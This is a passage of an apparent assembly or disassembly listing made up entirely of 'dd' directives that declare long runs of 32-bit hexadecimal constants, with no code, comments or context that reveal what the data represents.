0D91C18BDh dd 25E0AB7h, 5AE0509Dh, 417F2198h, 8EEE57E4h, 0D7DC00A8h dd 44F5ACh, 8CBD62B5h, 0B8E5EE1Fh, 48769F98h, 4DE2E314h dd 6D6C00F4h, 4EC33913h, 5819023Bh, 705347A8h, 63D39C80h dd 680090AFh, 0A26F393Eh, 0EE440FF9h, 83C4004Bh, 0D78A8C41h dd 1E0174BBh, 0CF6A65D1h, 96DC6043h, 0B6C53A35h, 42688100h dd 0D589F084h, 2DBBA900h, 73E624AFh, 0D91D0005h, 180108D2h dd 130019F1h, 83F3851Bh, 0BF14E7h, 16FC8432h, 40EE88C9h dd 8DC6DA07h, 93DEFh, 9D4CF124h, 26F20085h, 0DA5120FFh dd 4000C867h, 41F93D21h, 2C3BACEh, 0EFF2F193h, 0D040826Ah dd 1F009BF8h, 0B763CAF9h, 0CC74A7h, 21C92FF6h, 2C89B154h dd 0BF680C07h, 0DA3084ABh, 0ECB89Ah, 56274DB6h, 937FB540h dd 0A59E3000h, 742D6319h, 0CF5D0004h, 0D58C13BDh, 22783534h dd 7B5C200h, 0AFB8BFCEh, 0A8A00E6h, 88ACF6FBh, 8982CBEh dd 2F513909h, 8D9A0729h, 74929D30h, 0F762003Ah, 269C895h dd 2B00D719h, 0AA9CFDBFh, 3A3CB9Fh, 9D26C46Ah, 6DF0355Ah dd 0B404E56Bh, 68527ABBh, 0CCA98480h, 874F00C5h, 733B6582h dd 0C1F2DFCh, 1B001643h, 14F87C57h, 3476005Fh, 0F5B48BEh dd 1C00FBE5h, 2646D6F5h, 2C00608h, 0A1C323CCh, 0D5F1A5h dd 0BDD251DAh, 0CF2503ECh, 0ABAD937Bh, 5D0E9E98h, 3DB49B00h dd 454FA341h, 0BCA63C83h, 1233FC80h, 0D0B87944h, 71D63F00h dd 0ABD2C7B3h, 635C0077h, 4972E058h, 5A007807h, 9EB0BF3Dh dd 0D4AA8Dh, 0A82FC320h, 796DF7E5h, 2DF5E000h, 11EAC02Ch dd 0AA78004Bh, 48E2AE46h, 38001E35h, 570F80E8h, 0CDD35Dh dd 47F6FFF3h, 8F72A7ABh, 603C3130h, 0C1356h, 0F54F5270h dd 5792F016h, 4307127Eh, 392BA617h, 0D5E678F0h, 135B0167h dd 6A922019h, 0BB7060D2h, 0B3232900h, 2D834E3Dh, 87DB07B9h dd 0F54FD82Ch, 0F27C9016h, 0D261B031h, 2C772270h, 0FCABACCh dd 0F3BB61C7h, 3DE8EF40h, 0D5000A3Bh, 968E786Fh, 71C357h dd 0EC9DF2A4h, 468BE6Bh, 0C1BB6401h, 4CE4E61Ah, 9088F820h dd 24E098BCh, 8058CE57h, 0E1B542Ah, 0FBF0733Dh, 0A43E9100h dd 0A9728F07h, 0C3680027h, 0FAE0B83h, 2400E654h, 0F756C247h dd 7A1D907Fh, 0D19500F9h, 4F5A5274h, 7200FA2Dh, 609CA62Ah dd 7BC269h, 0C6E1389Ah, 0B893D005h, 68FA300h, 40DDF03Bh dd 7DA1021Bh, 55D9474Eh, 90ECBFE0h, 580201FCh, 2716B44Dh dd 4274E023h, 6F1C00FAh, 9F12479Ah, 4C00606Ch, 31D0FD8Fh dd 422B339h, 0B0C8624Fh, 0DE83C0B1h, 60705BA7h, 4E292E0Bh dd 830480E8h, 981F4968h, 672C00E4h, 0EEBB28EDh, 9772F17Fh dd 0D88DE800h, 0B14F5B0Eh, 17B900B3h, 0CC03BE1Fh, 0B83CC76Fh dd 0B6DC00E8h, 0C968E0D1h, 0ACDB00C2h, 7BD3C6FEh, 0EC00AA73h dd 3ACA0E0Bh, 890A5Eh, 0C94D5B98h, 25BF9F6Ch, 9D7BC2E6h dd 6D803900h, 82D6477h, 0FACEE465h, 28D300F0h, 0A34F3D8Dh dd 0CC0046E7h, 3F512C7Dh, 7A19A0h, 0BFE3C7F9h, 0E7D40FA9h dd 0D31E3600h, 0B501ABE2h, 0DD40002Dh, 926B289Ah, 0F000FC30h dd 64B31821h, 2594F2h, 9AFF7646h, 0ED471FF4h, 72679000h dd 0EBBE2ECDh, 7475F1h, 1CB43230h, 75A2BFD5h, 7651100Eh dd 0CDE640EDh, 8C0CDBh, 3DE39605h, 0F0557CACh, 2A7B600h dd 0A3B01FC5h, 0C4E4010Dh, 423C9E4Fh, 0EEEFD432h, 94660B00h dd 2BC3FAE9h, 286000A7h, 701F5641h, 4B00485Dh, 0BE195840h dd 0F4D7A84h, 5E41424Ch, 0A9C5E420h, 2C006BB3h, 8213815Dh dd 4D30AEh, 0DB206950h, 0E3AF4934h, 71CFD200h, 3E3FB904h dd 0DF7D00FEh, 1DCC67BDh, 1A00A79Ch, 0AB214AE0h, 0A804B3Fh dd 191668DEh, 5D0F1DACh, 0C470C00Dh, 0B024ED08h, 0A0F5A11Eh dd 562AE3C0h, 0FD9F30h, 8DA81774h, 5B34CA03h, 0EB00807Ah dd 73303AF7h, 0EE63E732h, 0A6770FACh, 0E5C9A348h, 0D2890C83h dd 0E67530E7h, 7B077D44h, 0BD5DDAC4h, 0CDD17E90h, 0AAFE8Ah dd 0BA0C5F1Ch, 47D7D8E9h, 0B7000AF0h, 0F74D798Dh, 3E924213h dd 0B40196B2h, 0F0C8D781h, 5E5BFC0Eh, 1E0FA674h, 40848BF8h dd 0F951DD87h, 367E0053h, 1FEC9649h, 1D00100Ah, 0BC88D626h dd 7EA4464h, 338B29Fh, 0D0FD0B5h, 2D0043F7h, 18F249A2h dd 751B8881h, 78C10011h, 4BE10867h, 103D169h, 0DA0543B1h dd 213CE8E4h, 0DC4D00C4h, 638CD5F6h, 940069E5h, 15B77A0Fh dd 2A0A186h, 0C239999Bh, 0E8C36AADh, 87A204B0h, 0F8B62800h dd 15D34B2Ah, 3370BF54h, 78E11100h, 951A7B2Eh, 0A03A00B4h dd 859903DDh, 6401122Ah, 215D2309h, 0A8CCDA3Bh, 1ADE04Ah dd 1E7EB07Ah, 0CCC6322Ch, 0D60A493Fh, 0B86A7576h, 0C4EB1680h dd 7702E47Ah, 528E001Bh, 2C99C1C8h, 4709E162h, 80EC8D25h dd 1820EBA6h, 80C71E4Eh, 0B015CB45h, 0C80A5700h, 300082D8h dd 0AF11863Fh, 0B0B5D3BCh, 187600C6h, 948DAE63h, 2107EDF6h dd 0BE752F20h, 82C7F870h, 27E079h, 0BD98E5B7h, 0D5F56750h dd 7F042D00h, 6B1DACD1h, 744C3457h, 0C70680B0h, 2618E4CEh dd 6054498Fh, 0E75300F2h, 62D06992h, 0DB00D886h, 0A5556880h dd 8A15Ch, 0C889D285h, 7672038Bh, 80C3863Ch, 6AC510DEh dd 14FF3E96h, 0C02C3FBEh, 72477301h, 0CC9285D3h, 0E804FCBDh dd 0CD4C8A9h, 0D53F5881h, 0E6A260h, 0CBB7091Dh, 84797296h dd 0DB194100h, 0BAA61B01h, 53F4FF86h, 0D3A0A0EFh, 61FA5C8Fh dd 373F7905h, 80E68792h, 9E9B7BEh, 0FD38C91Fh, 1A014EE6h dd 0ACCC3579h, 16612260h, 8FEB8Eh, 4FA4FB12h, 6309B39Ch dd 80FDD77Ch, 3B2DC61Eh, 0ADF1E3Eh, 1C55004Bh, 0F028A0B7h dd 0D06B1F00h, 616FB5AAh, 6CDE019Eh, 0BB5E5736h, 69F2E097h dd 4C443900h, 0D67402Fh, 60E000CAh, 962B7381h, 3F00558Ch dd 42EF88E6h, 779FC9C3h, 7EB001Bh, 482FA50h, 0DBF4160Eh dd 0F0DEA007h, 0D250056Bh, 0FE1E7CAAh, 152A0154h, 0D691D3E1h dd 0BA8D453h, 0AED0600h, 30BE6C35h, 0E89DF0F9h, 2ECF00B3h dd 90D58316h, 5500E6E0h, 517D3521h, 57FDC5h, 0FA605E7Fh dd 175C281Fh, 6374D200h, 4348F11Eh, 5E6600C4h, 0D52A3102h dd 6A12D696h, 520FFC92h, 0ED164073h, 4BB73Eh, 0E45DA243h dd 8055E39Bh, 3608AF00h, 2FADE5F6h, 1F093h, 3CD2BB3Ah dd 8855CAE4h, 0B203F1FCh, 0BA6A81D7h, 0E340039h, 0BE03F3B7h dd 0C5B84DA1h, 875BF23Ch, 0BC2D580h, 0C327E520h, 4E7003Fh dd 18AB5271h, 4C1EAAB0h, 2F92B68Ah, 0E84F0200h, 3DB2B108h dd 0A180C935h, 0BCF1898Eh, 78987739h, 0B0497D00h, 0BE546113h dd 4FE33DCAh, 4E663D8Fh, 1B720DC0h, 0C900034Ch, 2B1AA41Fh dd 194726h, 0BD1E3243h, 0E5B67D39h, 0FF8A5F00h, 0B8787202h dd 7BDB00F3h, 44BD95C5h, 79020CE6h, 31BF0556h, 0ED260FBh dd 2493FA1Dh, 383322h, 3625995Ah, 130C37DBh, 187FB3B4h dd 0AC100019h, 6BEFF6E0h dd 700212Dh, 8187FBAAh, 1BD62h, 916168C6h, 41DBD577h, 9FE1B93Ah dd 2EACA8F9h, 0C00F7812h, 1C5CC071h, 3272EAh, 637E846Eh dd 8B941ECDh, 24E02260h, 17A611h, 7B302132h, 54DA51E3h dd 8D4ECA04h, 30C0C5F9h, 73A385h, 57D0AF7Ah, 0FE7DF08Ah dd 3F94A10h, 9046C3Eh, 5A331Ch, 0BF731645h, 27E03057h dd 0B1FE6068h, 17D2943Dh, 0AE00DC30h, 0FF18691h, 88500B7h dd 643C5BB4h, 0FF003BDEh, 7719F716h, 0FA07A118h, 1CE03AF0h dd 5A4B28Eh, 50129EE0h, 9DB0AAC3h, 45AC1B00h, 36CEB0F8h dd 44410137h, 0A7FD6D51h, 0CE807E3Ch, 4C80B4h, 40251B86h dd 0D2AD94E9h, 4003E7Ch, 8A0B899Eh, 174873Fh, 8E73CCFBh dd 70CA52FDh, 0CD004CE0h, 5B59D020h, 322A11h, 560BA9C1h dd 40B63AC6h, 7DDBCC7h, 882167A0h, 126FE29Fh, 1F355C43h dd 970FC0E4h, 0BC8546A8h, 5300D9F8h, 0E9E3D8B4h, 164A94Dh dd 0C4343C70h, 0D4B137B5h, 0DA03EEBFh, 0DCB3FF48h, 0E214C06Eh dd 77EE252h, 0AB8D655Ah, 76DD60C6h, 0FA009380h, 79B91434h dd 0BB6F02h, 8652F562h, 0B15FE6D9h, 2145CD00h, 109C2FE8h dd 0F1170346h, 764C8F04h, 376D9488h, 2E197E03h, 0D86FC0CCh dd 0F0C221h, 9587EBE1h, 48BA2E3h, 2C6C0F07h, 8FE0A61Ch dd 717041h, 1DD5D1BEh, 51C742BBh, 0F41BE700h, 24AD25F6h dd 0D9D800CDh, 0C4631377h, 7DFAFC39h, 6B407414h, 0A3AF09ABh dd 0D67D8012h, 3C76B7D9h, 14007359h, 8ED304D1h, 83752403h dd 7E152702h, 8723809Ah, 2B50BC90h, 2D04160h, 0A89B5AF9h dd 0EC80AED3h, 3DA6AC52h, 0E816FC09h, 9D100136h, 0B1FF1324h dd 0EFD4846Bh, 0BD1A003Eh, 8B4EC7AAh, 7300ABE1h, 12F20C5Ch dd 5659991h, 0B97CE0EFh, 50D60032h, 1E70FE4Ch, 49C6A900h dd 4A6A0515h, 11CD0E95h, 0F806EDAh, 3C7C209Ch, 0E624AB01h dd 0B882B260h, 6053F1D8h, 0DEFC50E9h, 0F863EC37h, 0E08E6C98h dd 3EA0A2Eh, 0F61219E8h, 6EB164C5h, 760420C0h, 15505250h dd 70D18160h, 32BE06h, 39EBC240h, 487A7423h, 0F6D26D18h dd 0E28AD448h, 0C91D0031h, 832BDB9Bh, 9300BB60h, 6EF4ACC5h dd 0C59D32D0h, 0C0AE1A20h, 0FE28AACh, 0C2E6D609h, 4400F5FBh dd 6A0A7229h, 611CE77Ah, 0F183BD53h, 0E0994139h, 0C54426h dd 1C961613h, 0E8D9D5ABh, 0EC100C00h, 35F607A3h, 65483977h dd 0E77F0880h, 0B7D77375h, 5FAA2709h, 2D7000DEh, 8248CBh dd 7239F0DDh, 0A0EC5BE9h, 536D98A0h, 5BC7300h, 0CBBEE4C6h dd 287E176Eh, 2603004Bh, 54DC4175h, 8D006890h, 0A85BABD7h dd 12E2881Eh, 595248h, 7BF8C718h, 0B700784Bh, 0E71B519Bh dd 71570ACFh, 0EE18004Ah, 0BB1163E3h, 0F800D8AFh, 0F4FAA797h dd 2EE71776h, 7DCE8Dh, 2C0FDC71h, 4800FDEAh, 0D6523BE2h dd 0E92A18h, 6372D3Eh, 6ADF051Bh, 5D694C00h, 3B53979Dh dd 0C5780158h, 1D62D15Ch, 0BBF670A3h, 81271B17h, 0B789E500h dd 0C0787Ch, 98AA1CB1h, 267088BEh, 300081ECh, 0DD50E672h dd 0FE2494Dh, 8B2FBC33h, 0F771D860h, 7051205h, 88A9A55Ah dd 799BE580h, 0BE8C00B1h, 0C1AAD90Bh, 3703FE0Ah, 0D3BF6FFFh dd 56D09060h, 22BECBA7h, 4C3D2580h, 0DA03F326h, 966B8DA8h dd 1042F8E9h, 99FB13D8h, 5912C015h, 0A800812Ah, 22F9F8F7h dd 24DCB5E6h, 3F24Dh, 7853407Ah, 0EC001971h, 4CBAA2C8h dd 0D87A6h, 146723B7h, 0C5AEDFA1h, 0FCDDBF2Ah, 0F3913900h dd 0D9FD529Ch, 0FBB30F04h, 5A00A2CBh, 0D93476Ah, 8023BD3Fh dd 589409FEh, 984C8Eh, 219B5EBFh, 0F75F7BA5h, 9BC4026h dd 0A08B410Eh, 2301BA2Bh, 88EB1ED6h, 0B8A28353h, 0EAE8D045h dd 0B51F46FCh, 7F803A49h, 1CB9430Dh, 0AB3500BBh, 0BF95E02Bh dd 0F9007744h, 39DE7B0Ah, 1E431CA4h, 21C537h, 5CF320A2h dd 526E7D2h, 0B51DED67h, 0FFC9F240h, 3F9D0D28h, 0D280F7B6h dd 0C27E1DADh, 6004FB93h, 46490654h, 9C3B3A80h, 0A2B50081h dd 7925C2EEh, 0B077EE4h, 45FA578Fh, 80398863h, 816AF3h dd 1BCAF42Bh, 0EBEE23D3h, 0C4BE6900h, 0D9AEFDCh, 0C1C500B1h dd 90582757h, 0D01C67F6h, 6A0052DEh, 0AB957237h, 17C91FCDh dd 8A0F49B6h, 18B30780h, 7B703DF6h, 0B1F07400h, 0CF685181h dd 0A41C00E2h, 0EA3748E1h, 0F5017E44h, 81711DAEh, 6FF88FDEh dd 0FA9E1E27h, 15A74377h, 0C5F823CEh, 0D75B7FB9h, 5401F7E8h dd 0EAF26F2Dh, 53BE601Ch, 0F312E500h, 2A883E8Ch, 9BA800BDh dd 0D299644Bh, 5200EBFAh, 0FE5177A1h, 971738h, 0F62381B4h dd 2C433902h, 0A63C4AECh, 55660033h, 0E6C7DB25h, 2EFB3BB8h dd 68A13802h, 8040E431h, 79183D5Ch, 9BB0326Dh, 0FF7A3E99h dd 63F5080Eh, 0E0BDB5A0h, 6A004B80h, 8AEFD98Ch, 1CA7A8D6h dd 2FA5B151h, 3200AADEh, 0C23A64E8h, 97000DDh, 6914CCE1h dd 150074C1h, 0F5BC80E9h, 0C5255Bh, 4E370BCDh, 0DC5C344Bh dd 912A3300h, 92981C42h, 87130078h, 0AE5269ADh, 0A7037338h dd 67C3C2C5h, 4531C8B3h, 0CCED03E5h, 5D346FE6h, 0F087D6B2h dd 81EAD041h, 7FECD1BCh, 0EC4DF80Fh, 679380DBh, 3160AFEh dd 0B008A701h, 0E6E8F47Ah, 0AC015B64h, 0D034ADE2h, 0F7F09A6Dh dd 0E98B004Ah, 0E01D3D92h, 7A004748h, 0EED8550h, 28ECBE2h dd 27836FFCh, 0D8E00834h, 210068D0h, 10F0EEDAh, 8C478Ah dd 3E1712EFh, 71C3ECF9h, 27207A00h, 58BC420Dh, 50901CFh dd 0D146D68Fh, 0D780D4EEh, 311B5230h, 60BDDDC7h, 0C64D0273h dd 6B001924h, 8AB1F7E1h, 7339452h, 65FDD1E7h, 5915B2F8h dd 62DBEE0h, 0DB2CFF00h, 717FB00Dh, 21980056h, 0EBC44743h dd 0C1B0AB68h, 97DD841Fh, 0AFB8FC80h, 0DCB08h, 346E2BEh dd 17685EA7h, 0C9718A00h, 122399E6h, 833E246Ah, 5B0F4024h dd 11079548h, 8D814A52h, 0D20478F0h, 0A9893C94h, 1B7AA201h dd 0CCA36E8Bh, 0AA000FAEh, 350C44CAh, 0E9CD1Fh, 0A56F34DEh dd 2579B595h, 0D595C00h, 72E02750h, 8BC90417h, 80DD6F56h dd 90C5D470h, 138FCA00h, 14AC582Ah, 0C1F5001Ah, 48990E2Ch dd 1D00A324h, 2917D5B1h, 339E8E2h, 0BB852BE4h, 23E894E5h dd 0FD009F6Dh, 8D976E4Bh, 77A416h, 0CAACA855h, 0D0C5615Bh dd 8C229D03h, 7E568B1h, 5373B290h, 0D50180AEh, 749098D8h dd 6EF09Fh, 0D4360A20h, 5C3B843Dh, 2749531Fh, 144ADA00h dd 804F35h, 3A702201h, 24D5BE60h, 7721DB1Eh, 18F76D0Ah dd 1CB43100h, 1E023D16h, 0AECB28h, 0F9E4782Ch, 8E1FFF57h dd 0B02B640h, 60CA5D03h, 730E65h, 398B230Ah, 7B0D4B1Eh dd 0A27AE431h, 9CC42F59h, 997D3E11h, 471F700h, 4714088Fh dd 0ACAFB700h, 8618FCDDh, 7E540F1Ah, 0EC811058h, 0EC6B2B28h dd 1C00B2E1h, 0E43D8E19h, 1FFDA7FBh, 0DDC03Bh, 40EC9326h dd 20001939h, 68F1FE5Ch, 30FEB27h, 0B54BB1CAh, 904AB787h dd 3090C3E0h, 343062D7h, 6900CC2Eh, 807365C0h, 84911Eh dd 0A4277014h, 94B1D107h, 17E70F00h, 0CC409568h, 0E6394C20h dd 87D2860h, 7F675E27h, 9250A9D8h, 0F585B6Ah, 7AEA75AEh dd 8E19886h, 354A7B5Ch, 68388DFh, 355100E5h, 861DAC3Eh dd 0CD0059A4h, 8F888326h, 4185Ah, 0E8BFF1A9h, 9F0A7B9Dh dd 0BDBB1D03h, 90ECE374h, 4C197Ah, 0C91B0728h, 58A7C3EDh dd 0F596BCA0h, 0FCE99E76h, 1D7BC173h, 0D471D0h, 9F8EF67Fh dd 0F0B423h dd 0C6BF9C25h, 3171E7B5h, 0B98B5700h, 2F35DB6Dh, 9F180CECh dd 0A9D1F2A6h, 0C0A2EBA0h, 852A3207h, 0B3F3FE62h, 0B15C80C5h dd 20680049h, 8A1C1037h, 90A4FAE0h, 3F070276h, 0D3554703h dd 0ECDF96D0h, 0AF1C0023h, 9436F6E3h, 22000937h, 647BF7CBh dd 0A4C1E8ACh, 0C55300A0h, 0D8B074A4h, 9800C3B1h, 1C7F969Dh dd 6973AD1h, 6AA6890Eh, 2EFE7017h, 86C339h, 0DA04C831h dd 0A08E63Fh, 0F23C32A4h, 28F407C4h, 2F18A03Ah, 0D20F21FAh dd 0F462DE78h, 76E400B8h, 1E25F956h, 91BE00C1h, 43FC7A35h dd 8A00C99Eh, 4C6C72A8h, 0FA80BDCAh, 0A07F0085h, 3EEB0DD3h dd 0CF1F1F0Ah, 2407433Ch, 9030801Eh, 0CBC9A6h, 299229Bh dd 1C7139FCh, 0C11848h, 0F717C3F2h, 909E0ED2h, 89EE6094h dd 871EE698h, 264B2B01h, 165F8EE9h, 0EBAED870h, 1990420h dd 60112AFDh, 0CCB43568h, 0AD031C48h, 8337F36Ch, 21088895h dd 0D99E0E90h, 5B409F82h, 292C93CFh, 0DE028900h, 61A692FEh dd 963200EBh, 18259A3Ch, 9B0794BDh, 27991BB6h, 696A0FD0h dd 57D51C54h, 8107FCA6h, 0F0EF9F9Ch, 0E20C843Ah, 299763Ch dd 0C078F34Dh, 1B54C0EEh, 0B9C73A6Fh, 9E143000h, 0D188A0EFh dd 5AF06D00h, 2798F3C8h, 884C5C7Eh, 0B45F6063h, 7B6C7818h dd 2ADE50h, 67F5B817h, 449189DCh, 0E1BB505h, 3C2249D0h dd 0EDE1DFEAh, 343C48C3h, 45B388h, 0BF6B4CB4h, 8ACB30D6h dd 0CEA8E930h, 0EE2C7C9Ah, 0CC4900F0h, 7F575CC4h, 3C03F959h dd 0A60B709Fh, 4CB3A1A2h, 51EE2080h, 35499280h, 0D1F16601h dd 81AB8F34h, 0F6B6E7E4h, 686E0764h, 50BD37FEh, 791AACDAh dd 310DB00h, 880773AAh, 908FF285h, 0BD6E1DF1h, 0D08B80F8h dd 0C151E191h, 24DC7E07h, 0ACF04679h, 9406CEh, 9934A555h dd 0DC4BD235h, 264CF000h, 0B8F7FBB3h, 0C6BE00B0h, 1AE3AEFh dd 24006F0Ch, 1B83AD3Bh, 9659CFh, 0F2E5B1C8h, 0DE4B05F4h dd 0B8C3210Eh, 630860DAh, 0B28AADh, 0A58C578Dh, 11D05FECh dd 0C2F3AF00h, 97152FF0h, 0EE7A4Ch, 1B0B376Ch, 0E429F9FBh dd 39F2381Ch, 0E3BC2C00h, 88AE10h, 0BFC730A8h, 81A4D6D9h dd 6B3E602Eh, 429E700h, 0CC1D89h, 0A27188CEh, 6932546Fh dd 3E04E177h, 0B1287F30h, 0D847DCC3h, 8002B9h, 92D006FEh dd 0F16B76AAh, 0FC19D301h, 6C45AFC7h, 85F5408Ah, 75807704h dd 349E3869h, 0BAA603CDh, 0E05A9712h, 0CCFB28A0h, 76F981Eh dd 11A78239h, 61D4BBD3h, 28889C99h, 0CD801914h, 6FDFDB0Eh dd 0D2F920B3h, 0DEA6FD10h, 191C2811h, 8F51712Dh, 0AFE80510h dd 0A1FD1700h, 32AD9FEBh, 0F685F2F9h, 104D0E4Fh, 29607C31h dd 0B176BAF2h, 0E2453300h, 0B54E565Ah, 78AF0003h, 46D7B86Bh dd 2EFC8255h, 0D2337607h, 98268822h, 951D07F1h, 5153B824h dd 0C480D5FFh, 88FE99D1h, 3AF01500h, 0A193BBCFh, 0D9910126h dd 0DA613FF3h, 3DC3F4B9h, 95100300h, 2D752385h, 0D136039Dh dd 0DE908F40h, 9AFB94D8h, 0B2245300h, 0A73CF6DCh, 140FEF9h dd 22281E97h, 0F8EF7B17h, 0DA1D3E9Ah, 5B4060EAh, 84F88310h dd 96BB06D4h, 0B0A80892h, 65F9FD00h, 5E4777A0h, 8ADF001Bh dd 0F0C952B0h, 90F1FA9h, 638D5C41h, 0D04CA294h, 4FD99Bh dd 6874041Dh, 0BBD0F55h, 443FC630h, 39BB5Bh, 0B314A9B0h dd 0B863250Dh, 5996F41Fh, 3CF53600h, 47D16Fh, 10143BBEh dd 7C0CA49Fh, 9CC07400h, 0DF4C2E72h, 0FC601F15h, 0A2CA00D0h dd 25885DEAh, 9E8948h, 74C5A916h, 0D4E5A3h, 9E8BE0E7h dd 7860CB8Dh, 0B22D840Bh, 0B9788068h, 0DA243Dh, 0EB284BBEh dd 278F52A1h, 20032900h, 9CDB3935h, 65D7008Bh, 7E9AB81Eh dd 7E0F6DFh, 6C812100h, 3F8A43B0h, 0B49C0059h, 82C50DF5h dd 0CF38D7DFh, 0BF890055h, 925B125Eh, 4C327A0Eh, 1D004F06h dd 4ABD473Dh, 6D005EB0h, 0DDD7FB6Bh, 0F8A739h, 713F7D4Fh dd 2918DEA0h, 0EE0760E6h, 121BC765h, 0B793110h, 78140752h dd 0D0D5187Eh, 1C6AF3A1h, 857D4107h, 45246C13h, 0F276F1C0h dd 76267CA8h, 0F0C80F88h, 6900968Eh, 0F3E991A0h, 0CD009B7Eh dd 8D6CBAEDh, 0D8CFDBh, 0AD5DFE32h, 221B3BEEh, 443B2776h dd 36E9006Ch, 4D894FE7h, 7CD3F26h, 68C1DF80h, 1693DEC9h dd 5F126500h, 795CBC90h, 124AF8B2h, 47DF84E5h, 606BEF7Dh dd 273BED25h, 0D7EC200h, 33CC110h, 7810004h, 0C0F4D35Ch dd 0A900FF4Eh, 92E35015h, 0A4E5ADh, 8B340782h, 568DDECBh dd 0D86A1600h, 895CFBB4h, 7A30EF9h, 27C0C63Ah, 734D2661h dd 0A70A1124h, 930309h, 0EA1340ECh, 0AB1A0059h, 7B7E53Fh dd 2A0752DCh, 88C78928h, 2ED88D40h, 5D0F0026h, 8F291B8Bh dd 0EB00AD0Bh, 1AB05AA8h, 7F5C2E7Eh, 0E0BB7860h, 0EE3F0238h dd 29755E78h, 9CF4C480h, 0C3005760h, 840EDB0Bh, 89E75Dh dd 2526D0AAh, 35D3C156h, 0DF445000h, 315713E0h, 90C400C3h dd 82B3BF0Ch, 4703D67Ah, 0B52D7C2Ah, 953C9805h, 94A41463h dd 13008C96h, 0E5E944DFh, 770026EAh, 21750C6h, 7CDE11h dd 895B0D3Eh, 6997740Ah, 3ED7A1Eh, 42A52300h, 624C15h dd 267982C1h, 0AB6C8AE0h, 0F00E1BF8h, 2EE5BFFCh, 0E492A028h dd 1EB21CAEh, 250C7ACh, 4A96D981h, 4FC55E0h, 0A4CB9000h dd 31FBBC45h, 7F67656h, 0F00667CEh, 6115A02Dh, 72070253h dd 0A8B1F769h, 0F1DBC0FFh, 0BE1DB0h, 0DE212FD2h, 430E6D9h dd 9B891A00h, 0EA44C7DDh, 40DA3E0Eh, 94A98F0Bh, 0FD0A095Fh dd 6CDFB00h, 0D300208Bh, 8DA37107h, 30CC27Ch, 96E4B928h dd 3988F27h, 7200A5BCh, 0E1CB583Bh, 936896Ch, 0BBFDCC0Ch dd 0E5E8D180h, 0E2004C9Ch, 73EAF93Eh, 0A0ADFFh, 0FACE7EF7h dd 0A82F3915h, 660AEE1Dh, 10B1EAC0h, 3BF9B8Bh, 0ABB7EC50h dd 87E81444h, 0EA3C1BACh, 0EFC9005Bh, 56DD8ADBh, 499B09A1h dd 0E580355Ah, 532F63BBh, 72C5E60Eh, 0FB9F40B7h, 1740D8h dd 0B4EF4FD5h, 7D745BBBh, 0D4A19E00h, 0B814FAE6h, 1BC307B7h dd 0BF8FB6D1h, 0BFD020E0h, 0E30059FEh, 2D69DCF6h, 90C42170h dd 0C2A500CFh, 82E68DEDh, 990088C6h, 85D6055Eh, 790E30DCh dd 99C98CEh, 68C74DB9h, 5FB0C80h, 1D00ED41h, 636AAE17h dd 0F8CA8D3h, 0D72BA171h, 19F8A5E0h, 957DD250h, 948CA1Eh dd 6F7B1280h, 7C8A65h, 37B815EEh, 22908EB3h, 17273107h dd 5420DB04h, 7783B77Fh, 93D5002Fh, 7836E1B5h, 0E6E25B26h dd 80DEA53Ch, 0EA5D4752h, 0E70F7Ch, 15D52B7Eh, 32F8FDD9h dd 0A85FBA07h, 4310DF67h, 0C005F3F9h, 6ECD9858h, 0E600FDA1h dd 0C9EFEDD6h, 1C7899B9h, 0BA28ECF5h, 85C5B080h, 2B09D996h dd 2C36C900h, 64EE7D56h, 0B5B9009Ch, 32DFE54Eh, 0C300F0A5h dd 34DBA6Fh, 0F6FCABC9h, 35799Ch, 5B180785h, 15E3BB16h dd 586E4Ch, 90FDE7EFh, 5E850h, 7BB8AD87h, 0DC9B668Fh, 0E03EDD00h dd 8C558EE2h, 0CBBB071Ch, 20281602h, 0F72FE7DBh, 0AA9C9200h dd 0C9535467h, 0AFEB1C5Ch, 0AC444055h, 24EA8AE7h, 3526C400h dd 0DE330B4h, 236B0FEEh, 8A8BB7FBh, 0B2495C80h, 0A907B36Eh dd 0D0631C88h, 71509F57h, 798DFh, 869C930Dh, 4F5EC2E7h dd 0FD8D63Bh, 0A021A9B6h, 3EFDF70Bh, 0FEA8A041h, 8E70D5h dd 544CAEDFh, 0DAFFD436h, 0D1202B00h, 228A8C46h, 232EA48h dd 0B59DA3C6h, 0AEC0C54Ch, 0F8001A7Ch, 0A070BCC8h, 179643h dd 0E538C4ACh dd 0B7E76912h, 0C910F403h, 0F823EAD4h, 1468B335h, 805325BBh dd 0B10AEF3Bh, 0BED45F3Bh, 1CA26B8Fh, 67A0EB8Fh, 0D07A94DEh dd 1386760Bh, 0A7A08024h, 5B07C753h, 2E6CC1E5h, 0C8C1E8FEh dd 46417600h, 9E55F7DDh, 4B1E0662h, 2EECA62Ah, 0B41DBC09h dd 59C303A5h, 739CF8C7h, 0F4C9022h, 71F38B4Bh, 8D1461A0h dd 0ED3D1DD7h, 0E1B200C2h, 0A9382DB0h, 0E53E0E52h, 0FD208A8Bh dd 66454D0Ch, 8076793Dh, 0A3B31D15h, 7C805FDDh, 0D2A7009Dh dd 0FD14CEEEh, 0E374BA04h, 79724F0Fh, 3DD101F1h, 0CF4707Dh dd 0BB3900D0h, 0CCD28CCAh, 0B00766Ch, 6279228Fh, 284A81Bh dd 0F537C6Dh, 6860BECEh, 0E413DAF3h, 3604F589h, 68C08A0Ch dd 0CCE9FDh, 73B10F12h, 6CC9D6CEh, 9CF79000h, 92DCF0E8h dd 0E2CC007Fh, 0D2977E4h, 50005C34h, 3F213578h, 58580240h dd 0AB00BD8Fh, 5B6013B2h, 1B05BBA9h, 0F9B3F29Eh, 9A08840h dd 22B643h, 825A6012h, 31264E8Dh, 8187A33Ah, 4810AC1Ch dd 0B0B8BA1Fh, 5F5AA48Fh, 5CBF9EE0h, 5B1D9C53h, 88C74AAFh dd 0FAD049F5h, 244055h, 0F3087665h, 0CF1E580Eh, 0C4E36600h dd 60620A5Dh, 31B1872h, 51119C26h, 71019C7Ch, 4AC1BABFh dd 3A20AA24h, 7D98B86Eh, 0FB21000Fh, 0C561EF44h, 0B103A0CFh dd 0C6FE281Bh, 301CA0BEh, 20B42816h, 59D00354h, 0BFA3435Fh dd 0A6F015C0h, 8EF1DE00h, 0A19D65DBh, 57F2005Eh, 64C8ADD3h dd 58002D6Ch, 0EF406B32h, 191A7CBh, 5C9D1E2Bh, 47E13E0Dh dd 0CF66E0D3h, 371FA34Ch, 858799FAh, 0C8E0728Eh, 0C59C7Bh dd 0B3793CEFh, 0A464C5Eh, 64839800h, 4B2B5ACEh, 0E1F7552h dd 0A5164E14h, 0EF150036h, 0CB045710h, 0DECA9000h, 0F1A34864h dd 27261D95h, 0BB81C0B5h, 